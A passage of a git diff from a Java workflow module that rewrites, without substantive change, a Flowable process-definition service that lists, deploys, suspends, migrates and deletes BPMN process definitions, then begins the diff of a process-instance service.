- processDefinitionVo.setDeploymentTime(e.getDeploymentTime()); - }); - } - if (CollUtil.isNotEmpty(wfDefinitionConfigVos)) { - wfDefinitionConfigVos.stream().filter(e -> e.getDefinitionId().equals(processDefinition.getId())).findFirst().ifPresent(processDefinitionVo::setWfDefinitionConfigVo); - } - processDefinitionVoList.add(processDefinitionVo); - } - } - // 总记录数 - long total = query.count(); - TableDataInfo build = TableDataInfo.build(); - build.setRows(processDefinitionVoList); - build.setTotal(total); - return build; - } - - /** - * 查询历史流程定义列表 - * - * @param key 流程定义key - */ - @Override - public List getListByKey(String key) { - List processDefinitionVoList = new ArrayList<>(); - ProcessDefinitionQuery query = QueryUtils.definitionQuery(); - List definitionList = query.processDefinitionKey(key).list(); - List deploymentList = null; - if (CollUtil.isNotEmpty(definitionList)) { - List deploymentIds = StreamUtils.toList(definitionList, ProcessDefinition::getDeploymentId); - deploymentList = QueryUtils.deploymentQuery(deploymentIds).list(); - } - if (CollUtil.isNotEmpty(definitionList)) { - List ids = StreamUtils.toList(definitionList, ProcessDefinition::getId); - List wfDefinitionConfigVos = wfDefinitionConfigService.queryList(ids); - for (ProcessDefinition processDefinition : definitionList) { - ProcessDefinitionVo processDefinitionVo = BeanUtil.toBean(processDefinition, ProcessDefinitionVo.class); - if (CollUtil.isNotEmpty(deploymentList)) { - // 部署时间 - deploymentList.stream().filter(e -> e.getId().equals(processDefinition.getDeploymentId())).findFirst().ifPresent(e -> { - processDefinitionVo.setDeploymentTime(e.getDeploymentTime()); - }); - if (CollUtil.isNotEmpty(wfDefinitionConfigVos)) { - wfDefinitionConfigVos.stream().filter(e -> e.getDefinitionId().equals(processDefinition.getId())).findFirst().ifPresent(processDefinitionVo::setWfDefinitionConfigVo); - } - } - processDefinitionVoList.add(processDefinitionVo); - } - } - return CollUtil.reverse(processDefinitionVoList); - } - - /** - * 查看流程定义图片 - * - * @param processDefinitionId 流程定义id - */ - @SneakyThrows - @Override - public String definitionImage(String processDefinitionId) { - InputStream inputStream = repositoryService.getProcessDiagram(processDefinitionId); - return Base64.encode(IoUtil.readBytes(inputStream)); - } - - /** - * 查看流程定义xml文件 - * - * @param processDefinitionId 流程定义id - */ - @Override - public String definitionXml(String processDefinitionId) { - StringBuilder xml = new StringBuilder(); - ProcessDefinition processDefinition = repositoryService.getProcessDefinition(processDefinitionId); - InputStream inputStream = repositoryService.getResourceAsStream(processDefinition.getDeploymentId(), processDefinition.getResourceName()); - xml.append(IoUtil.read(inputStream, StandardCharsets.UTF_8)); - return xml.toString(); - } - - /** - * 删除流程定义 - * - * @param deploymentIds 部署id - * @param processDefinitionIds 流程定义id - */ - @Override - @Transactional(rollbackFor = Exception.class) - public boolean deleteDeployment(List deploymentIds, List processDefinitionIds) { - try { - List historicProcessInstances = QueryUtils.hisInstanceQuery().deploymentIdIn(deploymentIds).list(); - if (CollUtil.isNotEmpty(historicProcessInstances)) { - Set defIds = StreamUtils.toSet(historicProcessInstances, HistoricProcessInstance::getProcessDefinitionId); - List processDefinitions = QueryUtils.definitionQuery().processDefinitionIds(defIds).list(); - if (CollUtil.isNotEmpty(processDefinitions)) { - Set keys = StreamUtils.toSet(processDefinitions, ProcessDefinition::getKey); - throw new ServiceException("当前【" + String.join(",", keys) + "】流程定义已被使用不可删除!"); - } - } - //删除流程定义 - for (String deploymentId : deploymentIds) { - repositoryService.deleteDeployment(deploymentId); - } - //删除流程定义配置 - wfDefinitionConfigService.deleteByDefIds(processDefinitionIds); - //删除节点配置 - wfNodeConfigService.deleteByDefIds(processDefinitionIds); - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 激活或者挂起流程定义 - * - * @param processDefinitionId 流程定义id - */ - @Override - public boolean updateDefinitionState(String processDefinitionId) { - try { - ProcessDefinition processDefinition = QueryUtils.definitionQuery() - .processDefinitionId(processDefinitionId).singleResult(); - //将当前为挂起状态更新为激活状态 - //参数说明:参数1:流程定义id,参数2:是否激活(true是否级联对应流程实例,激活了则对应流程实例都可以审批), - //参数3:什么时候激活,如果为null则立即激活,如果为具体时间则到达此时间后激活 - if (processDefinition.isSuspended()) { - repositoryService.activateProcessDefinitionById(processDefinitionId, true, null); - } else { - repositoryService.suspendProcessDefinitionById(processDefinitionId, true, null); - } - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException("操作失败:" + e.getMessage()); - } - } - - /** - * 迁移流程定义 - * - * @param currentProcessDefinitionId 当前流程定义id - * @param fromProcessDefinitionId 需要迁移到的流程定义id - */ - - @Override - public boolean migrationDefinition(String currentProcessDefinitionId, String fromProcessDefinitionId) { - try { - // 迁移验证 - boolean migrationValid = processMigrationService.createProcessInstanceMigrationBuilder() - .migrateToProcessDefinition(currentProcessDefinitionId) - .validateMigrationOfProcessInstances(fromProcessDefinitionId) - .isMigrationValid(); - if (!migrationValid) { - throw new ServiceException("流程定义差异过大无法迁移,请修改流程图"); - } - // 已结束的流程实例不会迁移 - processMigrationService.createProcessInstanceMigrationBuilder() - .migrateToProcessDefinition(currentProcessDefinitionId) - .migrateProcessInstances(fromProcessDefinitionId); - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 流程定义转换为模型 - * - * @param processDefinitionId 流程定义id - */ - @Override - public boolean convertToModel(String processDefinitionId) { - ProcessDefinition pd = QueryUtils.definitionQuery() - .processDefinitionId(processDefinitionId).singleResult(); - InputStream inputStream = repositoryService.getResourceAsStream(pd.getDeploymentId(), pd.getResourceName()); - ModelQuery query = QueryUtils.modelQuery(); - Model model = query.modelKey(pd.getKey()).singleResult(); - try { - if (ObjectUtil.isNotNull(model)) { - repositoryService.addModelEditorSource(model.getId(), IoUtil.readBytes(inputStream)); - } else { - Model modelData = repositoryService.newModel(); - modelData.setKey(pd.getKey()); - modelData.setName(pd.getName()); - modelData.setCategory(pd.getCategory()); - modelData.setTenantId(pd.getTenantId()); - repositoryService.saveModel(modelData); - repositoryService.addModelEditorSource(modelData.getId(), IoUtil.readBytes(inputStream)); - } - return true; - } catch (Exception e) { - log.error(e.getMessage(), e); - throw new ServiceException(e.getMessage()); - } - } - - /** - * 通过zip或xml部署流程定义 - * - * @param file 文件 - * @param categoryCode 分类 - */ - @SneakyThrows - @Override - @Transactional(rollbackFor = Exception.class) - public void deployByFile(MultipartFile file, String categoryCode) { - - WfCategory wfCategory = wfCategoryService.queryByCategoryCode(categoryCode); - if (wfCategory == null) { - throw new ServiceException("流程分类不存在"); - } - // 文件后缀名 - String suffix = FileUtil.extName(file.getOriginalFilename()); - InputStream inputStream = file.getInputStream(); - if (FlowConstant.ZIP.equalsIgnoreCase(suffix)) { - ZipInputStream zipInputStream = null; - try { - zipInputStream = new ZipInputStream(inputStream); - ZipEntry zipEntry; - while ((zipEntry = zipInputStream.getNextEntry()) != null) { - String filename = zipEntry.getName(); - String[] splitFilename = filename.substring(0, filename.lastIndexOf(".")).split("-"); - //流程名称 - String processName = splitFilename[0]; - //流程key - String processKey = splitFilename[1]; - ProcessDefinition oldProcessDefinition = QueryUtils.definitionQuery().processDefinitionKey(processKey).latestVersion().singleResult(); - DeploymentBuilder builder = repositoryService.createDeployment(); - Deployment deployment = builder.addInputStream(filename, zipInputStream) - .tenantId(TenantHelper.getTenantId()) - .name(processName).key(processKey).category(categoryCode).deploy(); - ProcessDefinition definition = QueryUtils.definitionQuery().deploymentId(deployment.getId()).singleResult(); - repositoryService.setProcessDefinitionCategory(definition.getId(), categoryCode); - setWfConfig(oldProcessDefinition, definition); - zipInputStream.closeEntry(); - } - } catch (IOException e) { - throw new RuntimeException(e); - } finally { - if (zipInputStream != null) { - zipInputStream.close(); - } - } - //初始化配置数据(demo使用,不用可删除) - initWfDefConfig(); - } else { - String originalFilename = file.getOriginalFilename(); - if (StringUtils.containsAny(originalFilename, ResourceNameUtil.BPMN_RESOURCE_SUFFIXES)) { - // 文件名 = 流程名称-流程key - String[] splitFilename = originalFilename.substring(0, originalFilename.lastIndexOf(".")).split("-"); - if (splitFilename.length < 2) { - throw new ServiceException("文件名 = 流程名称-流程KEY"); - } - //流程名称 - String processName = splitFilename[0]; - //流程key - String processKey = splitFilename[1]; - ProcessDefinition oldProcessDefinition = QueryUtils.definitionQuery().processDefinitionKey(processKey).latestVersion().singleResult(); - DeploymentBuilder builder = repositoryService.createDeployment(); - Deployment deployment = builder.addInputStream(originalFilename, inputStream) - .tenantId(TenantHelper.getTenantId()) - .name(processName).key(processKey).category(categoryCode).deploy(); - // 更新分类 - ProcessDefinition definition = QueryUtils.definitionQuery().deploymentId(deployment.getId()).singleResult(); - repositoryService.setProcessDefinitionCategory(definition.getId(), categoryCode); - setWfConfig(oldProcessDefinition, definition); - } else { - throw new ServiceException("文件类型上传错误!"); - } - } - - } - - /** - * 初始化配置数据(demo使用,不用可删除) - */ - private void initWfDefConfig() { - List wfDefinitionConfigs = wfDefinitionConfigMapper.selectList(); - if (CollUtil.isEmpty(wfDefinitionConfigs)) { - ProcessDefinition processDefinition = QueryUtils.definitionQuery().processDefinitionKey("leave1").latestVersion().singleResult(); - if (processDefinition != null) { - WfDefinitionConfigBo wfDefinitionConfigBo = new WfDefinitionConfigBo(); - wfDefinitionConfigBo.setDefinitionId(processDefinition.getId()); - wfDefinitionConfigBo.setProcessKey(processDefinition.getKey()); - wfDefinitionConfigBo.setTableName("test_leave"); - wfDefinitionConfigBo.setVersion(processDefinition.getVersion()); - wfDefinitionConfigService.saveOrUpdate(wfDefinitionConfigBo); - } - } - - } - - /** - * 设置表单内容 - * - * @param oldProcessDefinition 部署前最新流程定义 - * @param definition 部署后最新流程定义 - */ - private void setWfConfig(ProcessDefinition oldProcessDefinition, ProcessDefinition definition) { - //更新流程定义表单 - if (oldProcessDefinition != null) { - WfDefinitionConfigVo definitionVo = wfDefinitionConfigService.getByDefId(oldProcessDefinition.getId()); - if (definitionVo != null) { - wfDefinitionConfigService.deleteByDefIds(Collections.singletonList(oldProcessDefinition.getId())); - WfDefinitionConfigBo wfDefinitionConfigBo = new WfDefinitionConfigBo(); - wfDefinitionConfigBo.setDefinitionId(definition.getId()); - wfDefinitionConfigBo.setProcessKey(definition.getKey()); - wfDefinitionConfigBo.setTableName(definitionVo.getTableName()); - wfDefinitionConfigBo.setVersion(definition.getVersion()); - wfDefinitionConfigBo.setRemark(definitionVo.getRemark()); - wfDefinitionConfigService.saveOrUpdate(wfDefinitionConfigBo); - } - } - //更新流程节点配置表单 - List userTasks = ModelUtils.getUserTaskFlowElements(definition.getId()); - UserTask applyUserTask = ModelUtils.getApplyUserTask(definition.getId()); - List wfNodeConfigList = new ArrayList<>(); - for (UserTask userTask : userTasks) { - if (StringUtils.isNotBlank(userTask.getFormKey()) && userTask.getFormKey().contains(StrUtil.COLON)) { - WfNodeConfig wfNodeConfig = new WfNodeConfig(); - wfNodeConfig.setNodeId(userTask.getId()); - wfNodeConfig.setNodeName(userTask.getName()); - wfNodeConfig.setDefinitionId(definition.getId()); - String[] split = userTask.getFormKey().split(StrUtil.COLON); - wfNodeConfig.setFormType(split[0]); - wfNodeConfig.setFormId(Long.valueOf(split[1])); - wfNodeConfig.setApplyUserTask(applyUserTask.getId().equals(userTask.getId()) ? FlowConstant.TRUE : FlowConstant.FALSE); - wfNodeConfigList.add(wfNodeConfig); - } - } - if (CollUtil.isNotEmpty(wfNodeConfigList)) { - wfNodeConfigService.saveOrUpdate(wfNodeConfigList); - } - } -} +package org.dromara.workflow.service.impl; + +import cn.hutool.core.bean.BeanUtil; +import cn.hutool.core.codec.Base64; +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.io.FileUtil; +import cn.hutool.core.io.IoUtil; +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.core.util.StrUtil; +import lombok.RequiredArgsConstructor; +import lombok.SneakyThrows; +import lombok.extern.slf4j.Slf4j; +import org.dromara.common.core.exception.ServiceException; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.mybatis.core.page.PageQuery; +import org.dromara.common.mybatis.core.page.TableDataInfo; +import org.dromara.common.tenant.helper.TenantHelper; +import org.dromara.workflow.common.constant.FlowConstant; +import org.dromara.workflow.domain.WfCategory; +import org.dromara.workflow.domain.WfDefinitionConfig; +import org.dromara.workflow.domain.WfNodeConfig; +import org.dromara.workflow.domain.bo.ProcessDefinitionBo; +import org.dromara.workflow.domain.bo.WfDefinitionConfigBo; +import org.dromara.workflow.domain.vo.ProcessDefinitionVo; +import org.dromara.workflow.domain.vo.WfDefinitionConfigVo; +import org.dromara.workflow.mapper.WfDefinitionConfigMapper; +import org.dromara.workflow.service.IActProcessDefinitionService; +import org.dromara.workflow.service.IWfCategoryService; +import org.dromara.workflow.service.IWfDefinitionConfigService; +import org.dromara.workflow.service.IWfNodeConfigService; +import org.dromara.workflow.utils.ModelUtils; +import org.dromara.workflow.utils.QueryUtils; +import org.flowable.bpmn.model.UserTask; +import org.flowable.engine.ProcessMigrationService; +import org.flowable.engine.RepositoryService; +import org.flowable.engine.history.HistoricProcessInstance; +import org.flowable.engine.impl.bpmn.deployer.ResourceNameUtil; +import org.flowable.engine.repository.*; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; +import org.springframework.transaction.annotation.Transactional; +import org.springframework.web.multipart.MultipartFile; + +import java.io.IOException; +import java.io.InputStream; +import java.nio.charset.StandardCharsets; +import java.util.ArrayList; +import java.util.Collections; +import java.util.List; +import java.util.Set; +import java.util.zip.ZipEntry; +import java.util.zip.ZipInputStream; + +/** + * 流程定义 服务层实现 + * + * @author may + */ +@Slf4j +@RequiredArgsConstructor +@Service +public class ActProcessDefinitionServiceImpl implements IActProcessDefinitionService { + + @Autowired(required = false) + private RepositoryService repositoryService; + @Autowired(required = false) + private ProcessMigrationService processMigrationService; + private final IWfCategoryService wfCategoryService; + private final IWfDefinitionConfigService wfDefinitionConfigService; + private final WfDefinitionConfigMapper wfDefinitionConfigMapper; + private final IWfNodeConfigService wfNodeConfigService; + + /** + * 分页查询 + * + * @param bo 参数 + * @return 返回分页列表 + */ + @Override + public TableDataInfo page(ProcessDefinitionBo bo, PageQuery pageQuery) { + ProcessDefinitionQuery query = QueryUtils.definitionQuery(); + if (StringUtils.isNotEmpty(bo.getKey())) { + query.processDefinitionKey(bo.getKey()); + } + if (StringUtils.isNotEmpty(bo.getCategoryCode())) { + query.processDefinitionCategory(bo.getCategoryCode()); + } + if (StringUtils.isNotEmpty(bo.getName())) { + query.processDefinitionNameLike("%" + bo.getName() + "%"); + } + query.orderByDeploymentId().desc(); + // 分页查询 + List processDefinitionVoList = new ArrayList<>(); + List definitionList = query.latestVersion().listPage(pageQuery.getFirstNum(), pageQuery.getPageSize()); + List deploymentList = null; + if (CollUtil.isNotEmpty(definitionList)) { + List deploymentIds = StreamUtils.toList(definitionList, ProcessDefinition::getDeploymentId); + deploymentList = QueryUtils.deploymentQuery(deploymentIds).list(); + } + if (CollUtil.isNotEmpty(definitionList)) { + List ids = StreamUtils.toList(definitionList, ProcessDefinition::getId); + List wfDefinitionConfigVos = wfDefinitionConfigService.queryList(ids); + for (ProcessDefinition processDefinition : definitionList) { + ProcessDefinitionVo processDefinitionVo = BeanUtil.toBean(processDefinition, ProcessDefinitionVo.class); + if (CollUtil.isNotEmpty(deploymentList)) { + // 部署时间 + deploymentList.stream().filter(e -> e.getId().equals(processDefinition.getDeploymentId())).findFirst().ifPresent(e -> { + processDefinitionVo.setDeploymentTime(e.getDeploymentTime()); + }); + } + if (CollUtil.isNotEmpty(wfDefinitionConfigVos)) { + wfDefinitionConfigVos.stream().filter(e -> e.getDefinitionId().equals(processDefinition.getId())).findFirst().ifPresent(processDefinitionVo::setWfDefinitionConfigVo); + } + processDefinitionVoList.add(processDefinitionVo); + } + } + // 总记录数 + long total = query.count(); + TableDataInfo build = TableDataInfo.build(); + build.setRows(processDefinitionVoList); + build.setTotal(total); + return build; + } + + /** + * 查询历史流程定义列表 + * + * @param key 流程定义key + */ + @Override + public List getListByKey(String key) { + List processDefinitionVoList = new ArrayList<>(); + ProcessDefinitionQuery query = QueryUtils.definitionQuery(); + List definitionList = query.processDefinitionKey(key).list(); + List deploymentList = null; + if (CollUtil.isNotEmpty(definitionList)) { + List deploymentIds = StreamUtils.toList(definitionList, ProcessDefinition::getDeploymentId); + deploymentList = QueryUtils.deploymentQuery(deploymentIds).list(); + } + if (CollUtil.isNotEmpty(definitionList)) { + List ids = StreamUtils.toList(definitionList, ProcessDefinition::getId); + List wfDefinitionConfigVos = wfDefinitionConfigService.queryList(ids); + for (ProcessDefinition processDefinition : definitionList) { + ProcessDefinitionVo processDefinitionVo = BeanUtil.toBean(processDefinition, ProcessDefinitionVo.class); + if (CollUtil.isNotEmpty(deploymentList)) { + // 部署时间 + deploymentList.stream().filter(e -> e.getId().equals(processDefinition.getDeploymentId())).findFirst().ifPresent(e -> { + processDefinitionVo.setDeploymentTime(e.getDeploymentTime()); + }); + if (CollUtil.isNotEmpty(wfDefinitionConfigVos)) { + wfDefinitionConfigVos.stream().filter(e -> e.getDefinitionId().equals(processDefinition.getId())).findFirst().ifPresent(processDefinitionVo::setWfDefinitionConfigVo); + } + } + processDefinitionVoList.add(processDefinitionVo); + } + } + return CollUtil.reverse(processDefinitionVoList); + } + + /** + * 查看流程定义图片 + * + * @param processDefinitionId 流程定义id + */ + @SneakyThrows + @Override + public String definitionImage(String processDefinitionId) { + InputStream inputStream = repositoryService.getProcessDiagram(processDefinitionId); + return Base64.encode(IoUtil.readBytes(inputStream)); + } + + /** + * 查看流程定义xml文件 + * + * @param processDefinitionId 流程定义id + */ + @Override + public String definitionXml(String processDefinitionId) { + StringBuilder xml = new StringBuilder(); + ProcessDefinition processDefinition = repositoryService.getProcessDefinition(processDefinitionId); + InputStream inputStream = repositoryService.getResourceAsStream(processDefinition.getDeploymentId(), processDefinition.getResourceName()); + xml.append(IoUtil.read(inputStream, StandardCharsets.UTF_8)); + return xml.toString(); + } + + /** + * 删除流程定义 + * + * @param deploymentIds 部署id + * @param processDefinitionIds 流程定义id + */ + @Override + @Transactional(rollbackFor = Exception.class) + public boolean deleteDeployment(List deploymentIds, List processDefinitionIds) { + try { + List historicProcessInstances = QueryUtils.hisInstanceQuery().deploymentIdIn(deploymentIds).list(); + if (CollUtil.isNotEmpty(historicProcessInstances)) { + Set defIds = StreamUtils.toSet(historicProcessInstances, HistoricProcessInstance::getProcessDefinitionId); + List processDefinitions = QueryUtils.definitionQuery().processDefinitionIds(defIds).list(); + if (CollUtil.isNotEmpty(processDefinitions)) { + Set keys = StreamUtils.toSet(processDefinitions, ProcessDefinition::getKey); + throw new ServiceException("当前【" + String.join(",", keys) + "】流程定义已被使用不可删除!"); + } + } + //删除流程定义 + for (String deploymentId : deploymentIds) { + repositoryService.deleteDeployment(deploymentId); + } + //删除流程定义配置 + wfDefinitionConfigService.deleteByDefIds(processDefinitionIds); + //删除节点配置 + wfNodeConfigService.deleteByDefIds(processDefinitionIds); + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 激活或者挂起流程定义 + * + * @param processDefinitionId 流程定义id + */ + @Override + public boolean updateDefinitionState(String processDefinitionId) { + try { + ProcessDefinition processDefinition = QueryUtils.definitionQuery() + .processDefinitionId(processDefinitionId).singleResult(); + //将当前为挂起状态更新为激活状态 + //参数说明:参数1:流程定义id,参数2:是否激活(true是否级联对应流程实例,激活了则对应流程实例都可以审批), + //参数3:什么时候激活,如果为null则立即激活,如果为具体时间则到达此时间后激活 + if (processDefinition.isSuspended()) { + repositoryService.activateProcessDefinitionById(processDefinitionId, true, null); + } else { + repositoryService.suspendProcessDefinitionById(processDefinitionId, true, null); + } + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException("操作失败:" + e.getMessage()); + } + } + + /** + * 迁移流程定义 + * + * @param currentProcessDefinitionId 当前流程定义id + * @param fromProcessDefinitionId 需要迁移到的流程定义id + */ + + @Override + public boolean migrationDefinition(String currentProcessDefinitionId, String fromProcessDefinitionId) { + try { + // 迁移验证 + boolean migrationValid = processMigrationService.createProcessInstanceMigrationBuilder() + .migrateToProcessDefinition(currentProcessDefinitionId) + .validateMigrationOfProcessInstances(fromProcessDefinitionId) + .isMigrationValid(); + if (!migrationValid) { + throw new ServiceException("流程定义差异过大无法迁移,请修改流程图"); + } + // 已结束的流程实例不会迁移 + processMigrationService.createProcessInstanceMigrationBuilder() + .migrateToProcessDefinition(currentProcessDefinitionId) + .migrateProcessInstances(fromProcessDefinitionId); + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 流程定义转换为模型 + * + * @param processDefinitionId 流程定义id + */ + @Override + public boolean convertToModel(String processDefinitionId) { + ProcessDefinition pd = QueryUtils.definitionQuery() + .processDefinitionId(processDefinitionId).singleResult(); + InputStream inputStream = repositoryService.getResourceAsStream(pd.getDeploymentId(), pd.getResourceName()); + ModelQuery query = QueryUtils.modelQuery(); + Model model = query.modelKey(pd.getKey()).singleResult(); + try { + if (ObjectUtil.isNotNull(model)) { + repositoryService.addModelEditorSource(model.getId(), IoUtil.readBytes(inputStream)); + } else { + Model modelData = repositoryService.newModel(); + modelData.setKey(pd.getKey()); + modelData.setName(pd.getName()); + modelData.setCategory(pd.getCategory()); + modelData.setTenantId(pd.getTenantId()); + repositoryService.saveModel(modelData); + repositoryService.addModelEditorSource(modelData.getId(), IoUtil.readBytes(inputStream)); + } + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException(e.getMessage()); + } + } + + /** + * 通过zip或xml部署流程定义 + * + * @param file 文件 + * @param categoryCode 分类 + */ + @SneakyThrows + @Override + @Transactional(rollbackFor = Exception.class) + public void deployByFile(MultipartFile file, String categoryCode) { + + WfCategory wfCategory = wfCategoryService.queryByCategoryCode(categoryCode); + if (wfCategory == null) { + throw new ServiceException("流程分类不存在"); + } + // 文件后缀名 + String suffix = FileUtil.extName(file.getOriginalFilename()); + InputStream inputStream = file.getInputStream(); + if (FlowConstant.ZIP.equalsIgnoreCase(suffix)) { + ZipInputStream zipInputStream = null; + try { + zipInputStream = new ZipInputStream(inputStream); + ZipEntry zipEntry; + while ((zipEntry = zipInputStream.getNextEntry()) != null) { + String filename = zipEntry.getName(); + String[] splitFilename = filename.substring(0, filename.lastIndexOf(".")).split("-"); + //流程名称 + String processName = splitFilename[0]; + //流程key + String processKey = splitFilename[1]; + ProcessDefinition oldProcessDefinition = QueryUtils.definitionQuery().processDefinitionKey(processKey).latestVersion().singleResult(); + DeploymentBuilder builder = repositoryService.createDeployment(); + Deployment deployment = builder.addInputStream(filename, zipInputStream) + .tenantId(TenantHelper.getTenantId()) + .name(processName).key(processKey).category(categoryCode).deploy(); + ProcessDefinition definition = QueryUtils.definitionQuery().deploymentId(deployment.getId()).singleResult(); + repositoryService.setProcessDefinitionCategory(definition.getId(), categoryCode); + setWfConfig(oldProcessDefinition, definition); + zipInputStream.closeEntry(); + } + } catch (IOException e) { + throw new RuntimeException(e); + } finally { + if (zipInputStream != null) { + zipInputStream.close(); + } + } + //初始化配置数据(demo使用,不用可删除) + initWfDefConfig(); + } else { + String originalFilename = file.getOriginalFilename(); + if (StringUtils.containsAny(originalFilename, ResourceNameUtil.BPMN_RESOURCE_SUFFIXES)) { + // 文件名 = 流程名称-流程key + String[] splitFilename = originalFilename.substring(0, originalFilename.lastIndexOf(".")).split("-"); + if (splitFilename.length < 2) { + throw new ServiceException("文件名 = 流程名称-流程KEY"); + } + //流程名称 + String processName = splitFilename[0]; + //流程key + String processKey = splitFilename[1]; + ProcessDefinition oldProcessDefinition = QueryUtils.definitionQuery().processDefinitionKey(processKey).latestVersion().singleResult(); + DeploymentBuilder builder = repositoryService.createDeployment(); + Deployment deployment = builder.addInputStream(originalFilename, inputStream) + .tenantId(TenantHelper.getTenantId()) + .name(processName).key(processKey).category(categoryCode).deploy(); + // 更新分类 + ProcessDefinition definition = QueryUtils.definitionQuery().deploymentId(deployment.getId()).singleResult(); + repositoryService.setProcessDefinitionCategory(definition.getId(), categoryCode); + setWfConfig(oldProcessDefinition, definition); + } else { + throw new ServiceException("文件类型上传错误!"); + } + } + + } + + /** + * 初始化配置数据(demo使用,不用可删除) + */ + private void initWfDefConfig() { + List wfDefinitionConfigs = wfDefinitionConfigMapper.selectList(); + if (CollUtil.isEmpty(wfDefinitionConfigs)) { + ProcessDefinition processDefinition = QueryUtils.definitionQuery().processDefinitionKey("leave1").latestVersion().singleResult(); + if (processDefinition != null) { + WfDefinitionConfigBo wfDefinitionConfigBo = new WfDefinitionConfigBo(); + wfDefinitionConfigBo.setDefinitionId(processDefinition.getId()); + wfDefinitionConfigBo.setProcessKey(processDefinition.getKey()); + wfDefinitionConfigBo.setTableName("test_leave"); + wfDefinitionConfigBo.setVersion(processDefinition.getVersion()); + wfDefinitionConfigService.saveOrUpdate(wfDefinitionConfigBo); + } + } + + } + + /** + * 设置表单内容 + * + * @param oldProcessDefinition 部署前最新流程定义 + * @param definition 部署后最新流程定义 + */ + private void setWfConfig(ProcessDefinition oldProcessDefinition, ProcessDefinition definition) { + //更新流程定义表单 + if (oldProcessDefinition != null) { + WfDefinitionConfigVo definitionVo = wfDefinitionConfigService.getByDefId(oldProcessDefinition.getId()); + if (definitionVo != null) { + wfDefinitionConfigService.deleteByDefIds(Collections.singletonList(oldProcessDefinition.getId())); + WfDefinitionConfigBo wfDefinitionConfigBo = new WfDefinitionConfigBo(); + wfDefinitionConfigBo.setDefinitionId(definition.getId()); + wfDefinitionConfigBo.setProcessKey(definition.getKey()); + wfDefinitionConfigBo.setTableName(definitionVo.getTableName()); + wfDefinitionConfigBo.setVersion(definition.getVersion()); + wfDefinitionConfigBo.setRemark(definitionVo.getRemark()); + wfDefinitionConfigService.saveOrUpdate(wfDefinitionConfigBo); + } + } + //更新流程节点配置表单 + List userTasks = ModelUtils.getUserTaskFlowElements(definition.getId()); + UserTask applyUserTask = ModelUtils.getApplyUserTask(definition.getId()); + List wfNodeConfigList = new ArrayList<>(); + for (UserTask userTask : userTasks) { + if (StringUtils.isNotBlank(userTask.getFormKey()) && userTask.getFormKey().contains(StrUtil.COLON)) { + WfNodeConfig wfNodeConfig = new WfNodeConfig(); + wfNodeConfig.setNodeId(userTask.getId()); + wfNodeConfig.setNodeName(userTask.getName()); + wfNodeConfig.setDefinitionId(definition.getId()); + String[] split = userTask.getFormKey().split(StrUtil.COLON); + wfNodeConfig.setFormType(split[0]); + wfNodeConfig.setFormId(Long.valueOf(split[1])); + wfNodeConfig.setApplyUserTask(applyUserTask.getId().equals(userTask.getId()) ? FlowConstant.TRUE : FlowConstant.FALSE); + wfNodeConfigList.add(wfNodeConfig); + } + } + if (CollUtil.isNotEmpty(wfNodeConfigList)) { + wfNodeConfigService.saveOrUpdate(wfNodeConfigList); + } + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActProcessInstanceServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActProcessInstanceServiceImpl.java index 8b9b113..75d37a1 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActProcessInstanceServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/ActProcessInstanceServiceImpl.java @@ -1,691 +1,691 @@ -package org.dromara.workflow.service.impl; - -import cn.hutool.core.bean.BeanUtil; -import cn.hutool.core.codec.Base64; -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.convert.Convert; -import cn.hutool.core.io.IoUtil; -import cn.hutool.core.util.ObjectUtil; -import lombok.RequiredArgsConstructor; -import lombok.SneakyThrows; -import lombok.extern.slf4j.Slf4j; -import org.dromara.common.core.enums.BusinessStatusEnum; -import org.dromara.common.core.exception.ServiceException; -import org.dromara.common.core.service.UserService; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.mybatis.core.page.PageQuery; -import org.dromara.common.mybatis.core.page.TableDataInfo; -import org.dromara.common.satoken.utils.LoginHelper; -import org.dromara.workflow.common.constant.FlowConstant; -import org.dromara.workflow.common.enums.TaskStatusEnum; -import org.dromara.workflow.domain.ActHiProcinst; -import org.dromara.workflow.domain.bo.ProcessInstanceBo; -import org.dromara.workflow.domain.bo.ProcessInvalidBo; -import org.dromara.workflow.domain.bo.TaskUrgingBo; -import org.dromara.workflow.domain.vo.*; -import org.dromara.workflow.flowable.CustomDefaultProcessDiagramGenerator; -import org.dromara.workflow.flowable.cmd.DeleteExecutionCmd; -import org.dromara.workflow.flowable.cmd.ExecutionChildByExecutionIdCmd; -import org.dromara.workflow.flowable.handler.FlowProcessEventHandler; -import org.dromara.workflow.service.IActHiProcinstService; -import org.dromara.workflow.service.IActProcessInstanceService; -import org.dromara.workflow.service.IWfNodeConfigService; -import org.dromara.workflow.service.IWfTaskBackNodeService; -import org.dromara.workflow.utils.QueryUtils; -import org.dromara.workflow.utils.WorkflowUtils; -import org.flowable.bpmn.model.BpmnModel; -import org.flowable.engine.*; -import org.flowable.engine.history.HistoricActivityInstance; -import org.flowable.engine.history.HistoricProcessInstance; -import org.flowable.engine.history.HistoricProcessInstanceQuery; -import org.flowable.engine.impl.persistence.entity.ExecutionEntity; -import org.flowable.engine.repository.ProcessDefinition; -import org.flowable.engine.runtime.ProcessInstance; -import org.flowable.engine.runtime.ProcessInstanceQuery; -import org.flowable.engine.task.Attachment; -import org.flowable.engine.task.Comment; -import org.flowable.task.api.Task; 